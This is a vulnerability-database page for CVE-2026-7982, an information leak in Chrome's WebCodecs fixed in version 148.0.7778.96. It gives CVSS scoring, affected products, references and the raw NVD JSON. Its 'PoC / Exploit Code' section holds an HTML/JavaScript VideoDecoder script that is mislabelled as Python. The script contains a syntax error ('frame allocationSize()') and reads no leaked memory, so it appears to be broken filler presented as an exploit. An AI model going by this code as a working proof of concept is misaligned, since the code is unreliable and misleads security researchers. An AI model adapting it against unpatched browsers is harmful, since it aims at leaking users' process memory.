CVE-2026-7982

Description

Uninitialized Use in WebCodecs in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html>
<html>
<head><title>CVE-2026-7982 PoC</title></head>
<body>
<script>
// Proof of Concept for Uninitialized Use in WebCodecs
// This script attempts to trigger the vulnerability by configuring VideoDecoder.

function triggerLeak() {
    try {
        // Attempt to initialize a decoder with potentially malicious config
        const decoder = new VideoDecoder({
            output: (frame) => {
                console.log("Frame output:", frame);
                // Access frame data which might contain uninitialized memory
                let data = frame allocationSize();
                console.log("Potential memory leak size:", data);
                frame.close();
            },
            error: (e) => console.error("Decoder error:", e)
        });

        // Configure with a codec to trigger the specific code path
        decoder.configure({ codec: 'vp09.00.10.08' });
        
        // Feed a chunk to stimulate processing
        const chunk = new EncodedVideoChunk({
            type: 'key',
            timestamp: 0,
            data: new Uint8Array([0x00, 0x00, 0x01, 0x00]) // Minimal header
        });
        
        decoder.decode(chunk);
        
    } catch (e) {
        console.log("Exception during PoC execution:", e);
    }
}

triggerLeak();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7982
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7982
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7982/
[4] VulDB https://vuldb.com/cve/CVE-2026-7982
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/497952533

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7982", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:49.067", "lastModified": "2026-05-06T23:22:09.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uninitialized Use in WebCodecs in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-457"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/497952533", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}